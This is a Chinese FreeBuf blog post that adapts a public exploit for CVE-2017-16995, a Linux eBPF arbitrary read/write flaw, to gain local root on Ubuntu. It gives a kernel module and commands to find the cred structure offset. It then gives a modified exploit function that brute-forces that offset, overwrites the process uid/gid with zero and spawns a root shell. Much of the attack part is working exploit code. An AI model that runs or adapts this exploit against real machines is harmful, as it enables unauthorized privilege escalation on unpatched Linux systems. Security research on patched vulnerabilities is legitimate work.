freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2017-16995 Ubuntu本地提权测试(任意地址读写利用)
lxzh123 2022-04-02 01:21:31 833526
所属地 湖北省

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:lxzh123,本文属FreeBuf原创奖励计划,未经许可禁止转载

漏洞描述

该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。

POC

原作者exp此处可下载(可能需要梯子,这里copy了一份),然而直接运行,很多机器是无法提权成功的。

源代码注释头有说到:

if different kernel adjust CRED offset + check kernel stack size

针对这个魔鬼数字:CRED_OFFSET=0x5f8

魔鬼数字:CRED_OFFSET

这篇文章也说明了真相:

cred结构体的偏移量可能因为内核版本不同、内核编译选项不同而出现差异,作者给的exp偏移量是写死的

此文作者也给出了一种应对之策:

获取cred offset常量(一)

通过以下方法可获取这个cred offset:

1、getCredOffset.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module()
{
    printk("[!]current cred offset:%x\n",(unsigned long)&(current->cred)-(unsigned long)current);
    return 0;
}
void cleanup_module()
{
    printk("module cleanup\n");
}

2、Makefile

obj-m += getCredOffset.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3、编译

make

4、执行

sudo insmod getCredOffset.ko

该命令需要有sudo权限的用户执行,通过insmod命令将getCredOffset模块注入内核

5、获取cred offset

dmesg | grep "cred offset"

另开一个命令行执行该命令即可获取到cred offset,最后替换掉原exp中的偏移量即可成功提权。

然而,虽提权成功了,但此法有点怪异,本来想普通用户提权,但却需要用root用户执行命令来协助,有点力不从心。

那么问题又来了,该如何在不同的机器上动态获取这个cred offset呢?

获取cred offset常量——暴力尝试

经过上文作者的点拨:

这个漏洞是个任意地址读写漏洞,所以也可以在确定task_struct地址之后,以当前用户的uid为特征去搜索内存,毕竟cred离task_struct不远。

加上代码中有多处__read命令,以及getuid()命令,这两个命令都可以读取uid。首先想到的是在往uidptr对应的地址中写0之前获取此时的uid值,通过以上两种方式对比看有什么差异:

printf("uidptr      = %lx\n", uidptr);
uid_get=getuid();
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);

__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
    printf("spawning root shell\n");
    system("/bin/bash");
    exit(0);
}

果然如下图所示:

1521566656146.png

那么规律来了,我们可以尝试以不同的cred offset来获取两个uid来进行对比,一旦对比上,姑且就当做找到了这个“确定”的值,然后再去write(0)。修改pwn函数如下:

static void pwn(uint64_t credoffset) {
    uint64_t fp, sp, ts, credadd, credptr, uidptr, uid_get, uid_read;
    fp = __get_fp();
    if (fp < PHYS_OFFSET)
        __exit("bogus fp");

    sp = get_sp(fp);
    if (sp < PHYS_OFFSET)
        __exit("bogus sp");

    ts = __read(sp);

    if (ts < PHYS_OFFSET)
        __exit("bogus task ptr");

    printf("task_struct = %lx\n", ts);

    uid_get=getuid();
    for(credoffset=0x400;credoffset<0x800;credoffset++){
        credadd=ts + credoffset;
        printf("credadd     = %lx\n", credadd);
        credptr = __read(credadd); // cred
        printf("credptr     = %lx\n", credptr);
        if (credptr < PHYS_OFFSET){
            continue;
        }
        uidptr = credptr + UID_OFFSET; // uid
        if (uidptr < PHYS_OFFSET){
            continue;
        }
        printf("uidptr      = %lx\n", uidptr);
        uid_read=__read(uidptr);
        printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
        if((uid_read&0xffffffff)==uid_get){
            printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
            __write(uidptr, 0); // set both uid and gid to 0
            printf("cred_offset = %lx\n", credoffset);
            if (getuid() == 0) {
                printf("spawning root shell\n");
                system("/bin/bash");
                exit(0);
            }
            printf("failed\n");
            break;
        }
    }
}

想到原作者Vitaly Nikolenko给的CRED_OFFSET=0x5f8,我这边通过rebeyond这里给出的方法获取的是0x670,猜测这个值应该范围不大,尝试了一下用0x400~0x800爆破,很不幸,第一次尝试失败,被系统给killed掉啦:

1521563596473.png


调整一下范围:0x500~0x800,ok 搞定!


1521637032613.png


不同机器此CRED_OFFSET偏移量可能还有差异,可以视情况稍微调整一下范围,试出结果应该不难。


最后来体验一把提权后带来的快感,root用户想干嘛干嘛,如图:


1521567818252.png


完整代码见这里


参考链接:




http://www.freebuf.com/news/165608.html

https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a

https://www.cnblogs.com/rebeyond/p/8603056.html#commentform


*本文原创作者:lxzh123,本文属FreeBuf原创奖励计划,未经许可禁止转载

# ubuntu # CVE-2017-16995
本文为 lxzh123 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
lxzh123 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 1 关注者
CVE-2022-0847 Linux 脏管漏洞分析与利用
2022-04-27
普通用户借助Docker容器提权思路分享
2018-05-11
文章目录